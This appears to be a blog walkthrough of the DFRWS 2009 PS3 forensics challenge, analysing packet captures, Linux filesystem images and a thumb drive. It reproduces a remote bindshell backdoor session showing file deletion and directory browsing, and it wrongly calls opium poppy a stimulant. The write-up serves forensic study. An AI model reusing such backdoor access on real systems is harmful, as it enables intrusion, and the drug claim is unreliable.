            <content:encoded><![CDATA[<h3>Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q4OtxAIZoPUqFksM3Lz8dA.png" /></figure><p>The DFRWS 2009 Challenge focused on the development of tools and techniques for analyzing Playstation 3’s (PS3s). The Playstation 3 is a powerful, Cell processor-based system that can run both its native OS (which has significant DRM features that also thwart forensic investigation) and modern versions of Linux. This challenge focused on the Linux and network aspects of PS3s, and did not touch the DRM protected data. The challenge scenario required analysis of a physical memory dump, filesystem images, and network traces involving 2 PS3’s.</p><h3>Case Scenario</h3><p>In early 2009 it came to the attention of investigators that an individual with the nickname “nssal” was using a Sony Playstation3 (PS3) to make illicit images (specifically, certain images depicting Mardi Gras activities) available to other PS3 users. Investigators determined that “nssal” was connecting from an IP address in New Orleans, and they began capturing network traffic with the goal of catching “nssal” red-handed. Based on their initial surveillance, it appeared that “nssal” had advanced knowledge of Linux and digital forensics.</p><p>On March 11, 2009 investigators observed “nssal” communicating with another PS3 user and exchanging unknown data. With proper legal authorization, the investigators entered the suspect’s premises and found him in front of a PS3 that was running Linux. They interviewed the suspect and determined that he was a digital forensics researcher who was developing memory acquisition and analysis tools for Linux on the PS3. He denied having exchanged any information with other PS3 users.</p><p>Investigators captured physical memory of the Linux system on the PS3 using tools found on the system. This physical memory dump is present in the file nssal-physicalmem.dd.bz2. Investigators also acquired a forensic duplicate of the Linux partition on the PS3 (present in file nssal-linux-side-fs.dd-bz2) and the suspect’s thumbdrive (present in file nssal-thumb-fs.dd-bz2). Several network traces are also available. The first network trace is based on early surveillance of the suspect; this network trace is named nssal-capture-1.pcap.bz2. A second trace, nssal-capture-2.pcap.bz2, contains communication between “nssal” and another machine located at Johns Hopkins University. The network administrator in the lab at Johns Hopkins identified the machine as another PS3. This administrator regularly monitors communication and was able to provide a third network trace, jhuisi-capture-1.pcap.bz2, which contains traffic transmitted between the “nssal” PS3 and the PS3 in the Johns Hopkins lab. The system administrator also obtained a filesystem image of the PS3 at Johns Hopkins (present in jhuisi-linux-side-fs.dd-bz2) but was unable to obtain a physical memory dump.</p><h3>Important questions to address</h3><ul><li>What relevant user activity can be reconstructed from the available forensic data and what does it show?</li><li>Is there evidence of inappropriate or suspicious activity on the system?</li><li>Is there evidence of collaboration with an outside party? If so, what can be determined about the identity of the outside party? How was any collaboration conducted?</li><li>Is there evidence that illicit data (specifically, Mardi Gras images) was exchanged? If so, what can be determined about that data and the manner of transfer?</li><li>What data (if any) was provided by the Johns Hopkins PS3?</li><li>The suspect claims that he was not responsible for any transfer of data. What evidence do you have to show that remote, unauthorized access to the system might have occurred, and does this evidence exonerate the suspect?</li></ul><h3>Evidence List</h3><pre>| Name of File                | Hash Value                             | Format                |<br>|----------------------------|-----------------------------------------|------------------------|<br>| nssal-capture-1.pcap       | 594cd393f2dfa2ea11022e72a7ed9331        | Network Capture        |<br>| nssal-capture-2.pcap       | d895973c216aea504c7b90b6785fe158        | Network Capture        |<br>| jhuisi-capture-1.pcap      | c1253c1e025876a7e72f513fd7f72181        | Network Capture        |<br>| nssal-linux-side-fs.dd     | cca65ecabcc911d44de083fb9a950910        | Hard Drive Image       |<br>| jhuisi-linux-side-fs.dd    | 18ead4e2e923f163bc95912d7362c874        | Hard Drive Image       |<br>| nssal-thumb-fs.dd          | d31e38fb66a562dd357db41d1687a50b        | Thumb Drive Image      |<br>| nssal-physicalmem.dd       | 218a2f9fe8ccc31df1551eda75b179ba        | Physical Memory Image  |</pre><h3>Verifying Hashes</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*tN3exvTg_hIWI89pCdmhag.png" /></figure><h3>Forensics Process on Network Captures</h3><p>Tools used are listed below</p><p>1. NetworkMiner 2.8.1</p><p>2. Wireshark 4.0.10</p><h3>nssal-capture-1.pcap</h3><p>Opening the network capture in NetworkMiner reveals a great deal of information. All data exchanged between nssal’s Linux based PS3 and remote hosts is visible, including any browsing, images and files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*W8wi-amOsaJVvCSTCnYVLQ.png" /></figure><p>From this image, we can observe that DNS queries have been made from nssal’s PS3 device to websites such as “mardigrasday.com” and “mardigrasday.makesparties.com”.</p><p>Moving on to the Images section, we can see that a large number of images relating to the “Mardi Gras” have been downloaded by nssal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*RWfEZs03LYzf33zTMSx8Gw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*7v-YCH_U0ZfVDtk31Qo20g.png" /></figure><p>Searching for the keywords “mardi gras google” in the “Parameters” section reveals that nssal searched for “mardi gras” many times on Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*67U2qzhjBVmCfye-rdY2_A.png" /></figure><p>Analyzing the packet capture in Wireshark shows us that the suspect logged into his PS3 as the user nssal. The following packets show this activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*3QS7j3I_JxwAY1coKJYnDg.png" /></figure><p>The authentication information is encrypted using SSLv3, however we can see that HTTP requests are being made to retrieve the user’s avatar image.</p><p>Using Wireshark’s export objects functionality, we can retrieve this image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*bXhYa75zo7cpUEJzVS3oAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*VEAfr7OLtnACERN80n2V-w.png" /></figure><p>nssal’s Account ID, “AcctID=2692321” can be determined from the same HTTP request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*urEuuhRtwzO1OTU7YAQu4Q.png" /></figure><p>We can also determine the exact time of login using the cookie’s AuthKeyTime parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*O4UWvfpQhKV_fx7NiXb9Rg.png" /></figure><pre>| Date       | Time     |<br>|------------|----------|<br>| 05–03–2009 | 20:38:06 |</pre><p>NetworkMiner shows us that all this activity took place on 5th of March, 2009 between 20:19:38 and 20:42:25.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*L4To4gyTculJW0qs8EmX1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*rpnbW1YaxoXb3N3qnxMKsQ.png" /></figure><h3>nssal-capture-2.pcap</h3><p>Analyzing the packet capture in Wireshark, we can follow the TCP streams one by one to determine when nssal logged into the PS3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*DPHwlPVd9_AlnWaL5byCcg.png" /></figure><p>Since TCP stream 23 contains requests to retrieve nssal’s inventory, we can open this stream to determine the exact time of login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Zrm7xK7Ey9eicS7FDU5wwA.png" /></figure><p>The request cookie’s AuthKeyTime parameter shows us the exact timestamp of the login.</p><pre>| Date       | Time     |<br>|------------|----------|<br>| 11–03–2009 | 16:03:41 |</pre><p>By analyzing the Sessions tab in NetworkMiner, we can determine how long this session took place.</p><p><strong>Starting Time:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*_b8oubxUJUtJEaoq8YHg2g.png" /></figure><p><strong>Ending Time:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*2Hq4wPcOgNxRPtv0i0Cbbg.png" /></figure><p>After this session ended, we can see that nssal booted into the Linux OS present on his PS3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*lSnhZGbnncmH5L_dXvLvwg.png" /></figure><p>Viewing the packet capture in NetworkMiner, we can see that the host “ps3.isi.jhu.edu” is also present in the Hosts tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*mK9kFQuWpYysZk-WqmupDg.png" /></figure><p>We can view the communications between nssal’s PS3 and jhuisi PS3 by expanding the sessions list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*FDakU9go92MNBrUaIXsZCg.png" /></figure><p>This shows us that SSH sessions were established between nssal’s PS3 running Linux and the PS3 at the John Hopkins University. Furthermore, another session was established from “ps3.isi.jhu.edu” to “nssal-ps3.local” on port 45541.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*joVY03lhg8s8jSzK5VDbng.png" /></figure><p>The SSH application used for this communication was OpenSSH_5.1p1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*nOADJi3elaTUNA_U5UnWjQ.png" /></figure><p>This shows us that the two users knew each other and were involved in logging into each other’s PS3 devices remotely. Since SSH is encrypted, we cannot determine what data was exchanged. However, the session established using port 45541 looks interesting so let’s view it using Wireshark.</p><p>By filtering through communications, I found out that the session over port 45541 was on the TCP stream 133.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*07EFjgQnneRK4C3mO_f-Hw.png" /></figure><p>Let’s view the raw data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*TDt6RNmmdMT8LkReWN_H_g.png" /></figure><p>It seems as if nssal’s Linux PS3 was logged into using a backdoor created by the user at John Hopkins University. The complete conversation is given below</p><pre>jhuisi<br>Backdoor by darkXside<br>Enter the second password.<br>mac<br>Password accepted!<br>[backdoor]# ls<br>backd00r<br>Examples<br>[backdoor]# ls<br>backd00r<br>Examples<br>[backdoor]# rm backd00r<br>[backdoor]# ls<br>Examples<br>[backdoor]# cd ..<br>[backdoor]# cd nssal<br>[backdoor]# ls<br>channels<br>crosstool<br>d<br>Desktop<br>Documents<br>downloads<br>dump<br>Examples<br>file<br>find.py<br>first<br>first100<br>Images<br>kmem<br>memdump<br>memdump.new.kernel<br>memdump-powerpc.tar<br>memdump.tct<br>mem.find.pics<br>mem.hithere<br>mod<br>nulls<br>off.c<br>ppu-binutils-2.18.50–21.ppc.rpm<br>ppu-gcc43–4.3.2–2.ppc.rpm<br>ps3git<br>Public<br>ram.dd<br>Recipes<br>screenshots<br>strings.hithere<br>Templates<br>test<br>Videos<br>[backdoor]# who<br>nssal tty7 2009–03–11 11:31 (:0)<br>nssal pts/0 2009–03–11 11:32 (:0.0)<br>nssal pts/1 2009–03–11 11:47 (:0.0)<br>[backdoor]# ls<br>channels<br>crosstool<br>d<br>Desktop<br>Documents<br>downloads<br>dump<br>Examples<br>file<br>find.py<br>first<br>first100<br>Images<br>kmem<br>memdump<br>memdump.new.kernel<br>memdump-powerpc.tar<br>memdump.tct<br>mem.find.pics<br>mem.hithere<br>mod<br>nulls<br>off.c<br>ppu-binutils-2.18.50–21.ppc.rpm<br>ppu-gcc43–4.3.2–2.ppc.rpm<br>ps3git<br>Public<br>ram.dd<br>Recipes<br>screenshots<br>strings.hithere<br>Templates<br>test<br>Videos<br>[backdoor]# cd Recipes<br>[backdoor]# ls<br>andromachi<br>bateman&#39;s<br>stanley&#39;s<br>stoughton&#39;s<br>[backdoor]# cd ..<br>[backdoor]# ls<br>channels<br>crosstool<br>d<br>Desktop<br>Documents<br>downloads<br>dump<br>Examples<br>file<br>find.py<br>first<br>first100<br>Images<br>kmem<br>memdump.new.kernel<br>memdump-powerpc.tar<br>memdump.tct<br>mem.find.pics<br>mem.hithere<br>mod<br>nulls<br>off.c<br>ppu-binutils-2.18.50–21.ppc.rpm<br>ppu-gcc43–4.3.2–2.ppc.rpm<br>ps3git<br>Public<br>ram.dd<br>Recipes<br>screenshots<br>strings.hithere<br>Templates<br>test<br>Videos<br>[backdoor]# ls Videos<br>[backdoor]# ls screenshots<br>[backdoor]# ls Images<br>3316820191_4737c3edf4.jpg<br>3317048368_639213e24b_b.jpg<br>3317820492_cefb7ca452_b.jpg<br>3318492402_731ae5cdc3_b.jpg<br>3318589824_35fe706451_b.jpg<br>3320345810_6acc8185b2_b.jpg<br>3321856153_0a2c9577bd_b.jpg<br>3322040743_08a3b99acd_b.jpg<br>3322064459_d61e14dea5_b.jpg<br>3323556994_59a3982d61_b.jpg<br>3323673964_94e64ebddd_b.jpg<br>[backdoor]# fdisk -l<br>[backdoor]# ls -l /media<br>total 4<br>lrwxrwxrwx 1 root root 6 2008–12–03 18:14 cdrom -&gt; cdrom0<br>drwxr-xr-x 2 root root 4096 2008–12–03 18:14 cdrom0<br>[backdoor]# ls -l /mnt<br>total 4<br>drwxr-xr-x 2 root root 4096 2009–03–06 15:01 usb<br>[backdoor]# ls -l /mnt/usb<br>total 0<br>[backdoor]#</pre><p>Searching for “backdoor by darkxside” shows that it is a UNIX bindshell backdoor that allows remote users to access UNIX-like devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*611L-kw4k_xQYCS5nRmHNQ.png" /></figure><p>Also, the accessor began by removing the backdoor file from the filesystem. From this, we can assume to a certain degree that perhaps nssal was not aware of this backdoor and that the images that were shared using his PS3 might have been shared without his knowledge.</p><h3>jhuisi-capture-1.pcap</h3><p>Viewing the Hosts tab in NetworkMiner, we can see the details of the jhuisi PS3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*zMvzAhobA2Gmde7Jt5rdWw.png" /></figure><p>We can view the Sessions tab to determine when the PS3 was turned on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*ft80ZYxKyMRuJjLu6athYw.png" /></figure><p>Wireshark can help us determine when the user logged in and what was the exact username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*wrp6r-aK6NRqiW--4YrgPw.png" /></figure><p>The web request cookie’s AuthKeyTime parameter shows us the exact time of Authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*TBWVm2L6MowhSpTldZd6KA.png" /></figure><pre>| Date       | Time     |<br>|------------|----------|<br>| 11–03–2009 | 16:05:36 |</pre><p>Filtering the packets by HTTP, we can find the request to the Avatar of jhuisi and extract the image using export objects.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Xtux3pavNDFAyrkO5nSnfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*BfyELpHY53od9nVusjEyHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*V_8Id-uxcfCM_0smU3CWxA.png" /></figure><h3>Forensics Process on Linux Filesystems</h3><p>Since the PS3 is a DRM (digital rights management) protected device, the original PS3 filesystem cannot be analyzed. However, since both suspects are using Linux on their PS3’s as a side Operating System, we can analyze the Linux Filesystems.</p><h3>jhuisi-linux-side-fs.dd</h3><p>We’ll start by examining the file information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*TdWVqpf3DIDHkWVFlaVD5w.png" /></figure><p>Let’s mount the disk image as a filesystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*M1Ag52XeA1PCMsm2htrkKw.png" /></figure><p>Begin by performing preliminary information collection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*1tqXD5cFJD9SJfcq_u_7Nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*n-4Wam_ECy2_IPjTHSqhTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*PIrTG4vKeLqZFLMT-yeMjg.png" /></figure><p>We can verify that the SSH sessions were created by viewing the auth.log file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*BOPzaxJ71MJYp3XByBpN-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*uEkcP8G0bdIDel5D3H9qTw.png" /></figure><p>Viewing the “.bash_history” to see which commands the user ran.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*7lk9t8HwStUlEq5Jitw0xg.png" /></figure><p>The /home/goatboy/.bash history on jhuisi-linux-side-fs.dd shows traces of unpacking of ’recipes.tar’ and the creation ’customer’ directory. Besides this, it shows interaction between the ’goatboy’ and ’jhuisi’ accounts which appears to be related to the drug recipes.</p><p>Now, we’ll view the Recipes directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*MUxXEnpIZoIifuhvXw2q1g.png" /></figure><p>Viewing the “andromachi” file. We can see that the ingredients contain Opium Poppy, which is a stimulant, meaning the evidence could point to the sales of illegal substances.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*X3Oo4UVPAX9DR_4xsBjFKQ.png" /></figure><p>Viewing the customers file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*kIOHokrjoVMIdDCU7y-CPA.png" /></figure><p>From this, we can determine that goatboy is selling Recipes to some customers.</p><p>Now, moving on to jhuisi’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*kAbEyXrPJAWkGWtLBtBP6A.png" /></figure><p>Viewing the backd00r.c file reveals that the user compiled the backdoor on their PS3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*9swl-ROFQpeQWs5eNW0aqw.png" /></figure><p>Viewing all files in home directory of jhuisi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Lvn42GxBfauxvNOe4vuCDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*F_alFxoumqeqsKzzWbwE0A.png" /></figure><p>These images are also “mardi-gras” images.</p><p>Running exiftool on these images reveal that the author of these images was “nssal”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*kHiVtjYzSEnAPpUThKIeKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*IG1p5uVmW8yhJyS8WXWm5A.png" /></figure><p>Viewing the creation timestamp on these pictures hints that these files were copied over an SSH connection. Since both users willingly and knowingly connected to each other’s PS3s, we can assume that the “mardi gras” images were also provided by nssal willingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Neib5KN26giBBU6AJ6Rhcg.png" /></figure><h3>nssal-linux-side-fs.dd</h3><p>We’ll begin by examining the disk image and mounting it as a partition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*sYKMEeuKoVXWJU3P9NDV_w.png" /></figure><p>Preliminary information collection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*rymfVJnreVp2gOdtier0dQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*yP9aFMk0g6jI02KWVqB7eg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*81xgPEjlORWTq09Ag5A4Cg.png" /></figure><p>Viewing the /var/log/auth.log file shows that jhuisi logged in as the user nssal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*v0cylehhkJ3CgtT8bqIhAA.png" /></figure><p>Viewing the auth.log file further reveals that nssal created the user ‘jhuisi’ on his system by himself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*2h06idemK1Pni42rglfh8g.png" /></figure><p>This user was used by ‘jhuisi’ when logging into the system using the backdoor. This shows us that ‘jhuisi’ planting the backdoor was a preplanned action decided by nssal and jhuisi. This also shows that the ‘mardi gras’ images were taken from the system with the consent of ‘nssal’.</p><p>Now let’s view nssal’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*8snsWZEVKSpecFub-9Me8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*KrO4GBdhJgM0KcKnEmdRRQ.png" /></figure><p>It seems that nssal also has the recipes from jhuisi. These are the same files that were created by jhuisi on his system.</p><p>Viewing the Images</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*k9lr7kbwpPifCa8N6Gxirw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*5qpUI5--S40CyayUYweZ1Q.png" /></figure><p>These are the same images that were present on jhuisi’s system. They were copied onto jhuisi’s system using the SSH sessions.</p><h3>nssal-thumb-fs.dd</h3><p>For analyzing this final drive, I will use Autopsy on Windows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*LseTifDKZH4rCAvywsZ_7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*C37RbM7Ob8RFRwgVjb6fRw.png" /></figure><p>Autopsy’s analysis shows that there are 33 deleted image files present on the thumb drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*VduLp3GvDqALF1ToTzmXGw.png" /></figure><p>These are listed as</p><pre>|     Name                           |     Modified Time              |     Change Time            |     Access Time                |     Created Time               |     Size      |     Flags(Dir)     |     Flags(Meta)    |     Known      |     Location                                              |     MIME Type    |<br>|------------------------------------|--------------------------------|----------------------------|--------------------------------|--------------------------------|---------------|--------------------|--------------------|----------------|-----------------------------------------------------------|------------------|<br>|     3323673964_94e64ebddd_b.jpg    |     2009-03-02 14:15:30 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:15:28 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3323673964_94e64ebddd_b.jpg    |     jpg          |<br>|     3323673964_94e64ebddd_b.jpg    |     2009-03-02 14:15:30 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:15:28 PST    |     248179    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3323673964_94e64ebddd_b.jpg    |     jpg          |<br>|     3323556994_59a3982d61_b.jpg    |     2009-03-02 14:16:04 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:16:03 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3323556994_59a3982d61_b.jpg    |     jpg          |<br>|     3323556994_59a3982d61_b.jpg    |     2009-03-02 14:16:06 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:16:03 PST    |     743412    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3323556994_59a3982d61_b.jpg    |     jpg          |<br>|     3322064459_d61e14dea5_b.jpg    |     2009-03-02 14:16:52 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:16:51 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3322064459_d61e14dea5_b.jpg    |     jpg          |<br>|     3322064459_d61e14dea5_b.jpg    |     2009-03-02 14:16:54 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:16:51 PST    |     468985    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3322064459_d61e14dea5_b.jpg    |     jpg          |<br>|     3322040743_08a3b99acd_b.jpg    |     2009-03-02 14:17:08 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:17:07 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3322040743_08a3b99acd_b.jpg    |     jpg          |<br>|     3322040743_08a3b99acd_b.jpg    |     2009-03-02 14:17:08 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:17:07 PST    |     272736    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3322040743_08a3b99acd_b.jpg    |     jpg          |<br>|     3321856153_0a2c9577bd_b.jpg    |     2009-03-02 14:17:42 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:17:41 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3321856153_0a2c9577bd_b.jpg    |     jpg          |<br>|     3321856153_0a2c9577bd_b.jpg    |     2009-03-02 14:17:44 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:17:41 PST    |     369941    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3321856153_0a2c9577bd_b.jpg    |     jpg          |<br>|     3320345810_6acc8185b2_b.jpg    |     2009-03-02 14:19:14 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:19:13 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3320345810_6acc8185b2_b.jpg    |     jpg          |<br>|     3320345810_6acc8185b2_b.jpg    |     2009-03-02 14:19:16 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:19:13 PST    |     358634    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3320345810_6acc8185b2_b.jpg    |     jpg          |<br>|     3318589824_35fe706451_b.jpg    |     2009-03-02 14:19:50 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:19:49 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3318589824_35fe706451_b.jpg    |     jpg          |<br>|     3318589824_35fe706451_b.jpg    |     2009-03-02 14:19:52 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:19:49 PST    |     264494    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3318589824_35fe706451_b.jpg    |     jpg          |<br>|     3318492402_731ae5cdc3_b.jpg    |     2009-03-02 14:20:28 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:20:26 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3318492402_731ae5cdc3_b.jpg    |     jpg          |<br>|     3318492402_731ae5cdc3_b.jpg    |     2009-03-02 14:20:28 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:20:26 PST    |     240035    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3318492402_731ae5cdc3_b.jpg    |     jpg          |<br>|     3316820191_4737c3edf4.jpg      |     2009-03-02 14:21:22 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:21:20 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3316820191_4737c3edf4.jpg      |     jpg          |<br>|     3316820191_4737c3edf4.jpg      |     2009-03-02 14:21:22 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:21:20 PST    |     132193    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3316820191_4737c3edf4.jpg      |     jpg          |<br>|     3317048368_639213e24b_b.jpg    |     2009-03-02 14:21:54 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:21:53 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3317048368_639213e24b_b.jpg    |     jpg          |<br>|     3317048368_639213e24b_b.jpg    |     2009-03-02 14:21:56 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:21:53 PST    |     374535    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3317048368_639213e24b_b.jpg    |     jpg          |<br>|     3317820492_cefb7ca452_b.jpg    |     2009-03-02 14:24:04 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:24:03 PST    |     0         |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3317820492_cefb7ca452_b.jpg    |     jpg          |<br>|     3317820492_cefb7ca452_b.jpg    |     2009-03-02 14:24:06 PST    |     0000-00-00 00:00:00    |     2009-03-02 00:00:00 PST    |     2009-03-02 14:24:03 PST    |     441998    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3317820492_cefb7ca452_b.jpg    |     jpg          |<br>|     3317048368_639213e24b_b.jpg    |     2009-03-06 21:37:38 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:38 PST    |     385024    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3317048368_639213e24b_b.jpg    |     jpg          |<br>|     3317820492_cefb7ca452_b.jpg    |     2009-03-06 21:37:38 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:38 PST    |     450560    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3317820492_cefb7ca452_b.jpg    |     jpg          |<br>|     3318492402_731ae5cdc3_b.jpg    |     2009-03-06 21:37:38 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:39 PST    |     245760    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3318492402_731ae5cdc3_b.jpg    |     jpg          |<br>|     3318589824_35fe706451_b.jpg    |     2009-03-06 21:37:38 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:39 PST    |     270336    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3318589824_35fe706451_b.jpg    |     jpg          |<br>|     3320345810_6acc8185b2_b.jpg    |     2009-03-06 21:37:38 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:39 PST    |     368640    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3320345810_6acc8185b2_b.jpg    |     jpg          |<br>|     3321856153_0a2c9577bd_b.jpg    |     2009-03-06 21:37:40 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:40 PST    |     376832    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3321856153_0a2c9577bd_b.jpg    |     jpg          |<br>|     